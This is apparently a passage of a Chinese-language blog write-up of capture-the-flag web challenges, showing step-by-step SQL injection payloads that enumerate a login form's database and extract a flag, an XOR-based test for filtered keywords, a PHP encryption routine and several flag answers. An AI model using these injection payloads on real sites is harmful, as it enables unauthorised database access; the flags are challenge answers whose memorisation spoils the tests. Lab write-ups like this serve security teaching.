这个代码的原理就是利用127.0.0.1+true/false去进行判断,如果是true,就与超时相违背,从而执行下面except的代码.
flag{cdbf14c9551d5be5612f7bb5d2867853}
0x38.这是一个神奇的登陆框
admin_name=yu" order by 3#&admin_passwd=1111&submit=GO+GO+GO
报错,存在注入
admin_name=yu" order by 2#&admin_passwd=1111&submit=GO+GO+GO #确认列数
admin_name=yu" union select database(),2#&admin_passwd=1111&submit=GO+GO+GO #数据库名bugkusql1
admin_name=yu" union select table_name,2 from information_schema.tables where table_schema='bugkusql1'#&admin_passwd=1111&submit=GO+GO+GO #表名flag1
admin_name=yu" union select column_name,2 from information_schema.columns where table_name'flag1'#&admin_passwd=1111&submit=GO+GO+GO #字段名flag1
admin_name=yu# union select flag1,2 from flag1#&admin_passwd=1111&submit=GO+GO+GO #拿到flag
flag{ed6b28e684817d9efcaf802979e57aea}
0x39.多次
从大哥那学到了异或注入判断，可以判断页面过滤了什么参数。
在id=1后面增加payload:'^(length('union')!=0)^'.如果页面正常回显,则证明length(union)是等于0的,所以union被过滤了.
不过不懂这题怎么做,先跳过.
嘤
0x40.PHP_encrypt_1(ISCCCTF)
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>
还不快抢沙发